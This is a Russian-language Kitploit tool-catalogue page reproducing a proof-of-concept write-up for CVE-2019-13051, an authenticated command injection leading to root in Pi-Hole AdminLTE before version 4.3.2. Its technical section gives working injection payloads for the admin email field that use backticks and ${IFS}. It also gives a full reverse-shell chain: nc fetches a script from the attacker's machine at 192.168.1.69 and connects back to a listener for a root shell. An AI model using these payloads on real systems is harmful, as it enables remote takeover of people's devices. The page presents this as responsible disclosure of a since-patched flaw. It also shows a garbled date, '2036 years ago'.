Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-13051 | Kitploit
Инструменты/GitHubGitHub/pr0tean/cve-2019-13051
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и Управление
GitHubpr0tean/cve-2019-13051

CVE-2019-13051

Репозиторий
2036 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Pi-Hole < 4.3.2 Внедрение команд и повышение привилегий (CVE-2019-13051)

Версия Pi-Hole 4.3.2 содержит исправление этой уязвимости: https://github.com/pi-hole/AdminLTE/pull/974

Огромное спасибо команде разработчиков Pi-Hole за их замечательный проект и за то, что сделали процесс сообщения об уязвимости таким простым!

Краткое описание

Через описанные уязвимости в компоненте "AdminLTE" можно удалённо получить root-доступ на устройстве RaspberyPi (или на любом другом устройстве/ВМ, где работает приложение). Для эксплуатации требуются административный доступ/учётные данные к веб-интерфейсу AdminLTE.

В частности, можно обойти проверки регулярных выражений и внедрить произвольные команды в поле «Адрес электронной почты администратора». Эти команды, в свою очередь, сохраняются в "/etc/pihole/setupVars.conf", после чего они обрабатываются и выполняются с привилегиями root заданием cron.d «/usr/local/bin/pihole updatechecker local», запускающимся каждые 10 минут.

Предварительные условия атаки

  1. Сетевая доступность административного веб-приложения Pi-Hole (AdminLTE).
  2. Наличие учётных данных для веб-приложения AdminLTE.

Ограничения

Атакующему приходится ждать 10-минутного интервала cron-задания «/etc/cron.d/pihole» для выполнения команды/кода.

Техническое описание

Надеемся, приведённые ниже детали и PoC помогут вам проверить и воспроизвести проблему.

После аутентификации в веб-приложении атакующему необходимо обойти несколько серверных проверок, чтобы успешно внедрить команду.

В «savesettings.php», на строке L:499, управляемая пользователем переменная «$adminemail» проверяется с помощью внутренней PHP-функции FILTER_VALIDATE_EMAIL, которая обладает относительно слабыми проверками.

Затем можно обойти эту проверку и продемонстрировать внедрение команды, просто заключив набор обратных кавычек в двойные кавычки. Например, введите следующее в качестве адреса электронной почты администратора:

"`test>/tmp/poc_proof.txt`"@example.com

Screenshot 1

В течение 10 минут в «/tmp/poc_proof.txt» будет создан принадлежащий root файл, содержащий «test», с привилегиями root.

Screenshot 2

Чтобы выполнять дальнейшие значимые атаки, необходимо также обойти ограничение на пробелы (которые не являются допустимыми символами электронной почты и отлавливаются функцией FILTER_VALIDATE_EMAIL). Для этого использовалась внутренняя переменная Linux ${IFS} (которая по умолчанию соответствует пробелу в большинстве UNIX-систем).

PoC:

*Примечание: это можно автоматизировать одной строкой с использованием грамматики POSIX shell, например &&, || ...

  1. Убедитесь, что у вас готов механизм доставки скрипта на атакующей машине. Т.е. на атакующей машине:

nc -nvlp 4444 < revshell.py

  1. Отправьте первую команду в поле «Адрес электронной почты администратора», чтобы инициировать получение и сохранение Python-скрипта reverse shell в «/tmp/revshell.py»:

"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

Screenshot 3

HTTP-запрос будет выглядеть следующим образом при просмотре через HTTP-прокси:

Screenshot 4

Подождите 10 минут, пока cron-задание выполнится и загрузит скрипт, или, для целей воспроизведения, выполните вручную /usr/local/bin/pihole updatechecker local. Также можно проверить внедрённую команду в "/etc/pihole/setupVars.conf" (она находится в переменной ADMIN_EMAIL).

  1. Убедитесь, что у вас готов сервис для перехвата shell. Т.е. на атакующей машине:

nc -nvlp 4445

  1. Наконец, вы можете отправить следующее:

“`python${IFS}/tmp/revshell.py`”@example.com

Снова подождите 10 минут (или выполните cron-скрипт вручную для воспроизведения проблемы), и вы получите root-shell на своей атакующей машине.

Screenshot 1

Скачать инструмент